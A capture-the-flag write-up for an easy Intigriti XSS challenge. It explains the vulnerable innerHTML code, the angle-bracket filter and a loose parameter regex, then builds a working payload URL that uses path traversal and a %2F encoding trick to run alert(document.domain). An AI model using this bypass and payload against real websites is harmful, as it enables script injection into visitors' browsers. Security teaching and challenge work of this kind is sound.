- Challenge Type: Web (XSS)
- Difficulty: Easy
- Objective: Trigger
alert(document.domain)
through XSS - Author: Godson (TrustFoundry)
The application presents a simple input field labeled "Enter your name!". Upon submission, it redirects to: /challenge?text=USER_INPUT
, displaying the submitted text in a modal.
The source code reveals an XSS vulnerability in how the text is displayed in the modal (innerHTML
):
function checkQueryParam() {
const text = getParameterByName('text');
if (text && XSS() === false) {
const modal = document.getElementById('modal');
const modalText = document.getElementById('modalText');
modalText.innerHTML = `Welcome, ${text}!`; // XSS vulnerability
textForm.remove()
modal.style.display = 'flex';
}
}
There is also a protection function XSS()
that checks for angle brackets (<
and >
) the URL.
function XSS() {
return decodeURIComponent(window.location.search).includes('<')
|| decodeURIComponent(window.location.search).includes('>')
|| decodeURIComponent(window.location.hash).includes('<')
|| decodeURIComponent(window.location.hash).includes('>')
}
It checks in 2 parts of the URL:
- window.location.search: URL parameters after
?
. (The part of thetext
parameter) - window.location.hash: URL fragment after
#
.
Example URL: βββββsearchββββββhashβ
https://challenge-0125.intigriti.io/challenge?text=Cedric.MSN#3133t
ββββββββββββββββββββββ
The key to bypassing the protection lies in getParameterByName()
, the function used to retrieve the text
parameter from URL:
function getParameterByName(name) {
var url = window.location.href;
name = name.replace(/[\[\]]/g, "\\$&");
var regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)"); // Bad regex implementation
results = regex.exec(url);
if (!results) return null;
if (!results[2]) return '';
return decodeURIComponent(results[2].replace(/\+/g, " "));
}
There is a regex pattern [?&]text(=([^&#]*)|&|#|$)
that works as follows:
[?&]
: Matches parameters starting with?
or&
.text
: The parameter name.(=([^&#]*)|&|#|$)
: Captures the value until&
,#
, or end of string.
Crucially, this regex matches the text
parameter, regardless of its position in the URL. This allows for unconventional URL formats:
Normal URL Match: βββββmatchββββββ
https://challenge-0125.intigriti.io/challenge?text=Cedric.MSN
ββββββββββββββββ
Invalid URL Match: βββββββββββmatchββββββββββββ
https://challenge-0125.intigriti.io&text=Cedric.MSN/invalid-url
ββββββββββββββββββββββββββββ
By leveraging Relative URL Path, we can navigate backward in the URL structure using /..
. This technique allows us to place our payload within a subdirectory (or "folder") and then use /..
to traverse back to the original URL.
Additionally, we use &
instead of ?
to prevent the payload from being added to window.location.search
, ensuring it doesn't interfere with the query string parsing:
Initial attempt: βββββββ¬βββββββββββββββpayloadββββββββββββββββββββpath traversalβ
https://challenge-0125.intigriti.io/challenge/&text=<img+src=a+onerror=alert(document.domain)>/.. β
βββββββ΄βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
π€ Right ? Why isn't it working!!
The problem is that modern browsers automatically normalize paths before sending the request, which would strip our payload and result in: https://challenge-0125.intigriti.io/challenge
.
To prevent this normalization, we simply URL encode the trailing /
as %2F
:
Final payload: βββββββ¬βββββββββββββββpayloadββββββββββββββββββββpath traversalβ
https://challenge-0125.intigriti.io/challenge/&text=<img+src=a+onerror=alert(document.domain)>%2F.. β
βββββββ΄βββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
And like that, we've succesfully exploited the XSS to pop an alert(document.domain)
!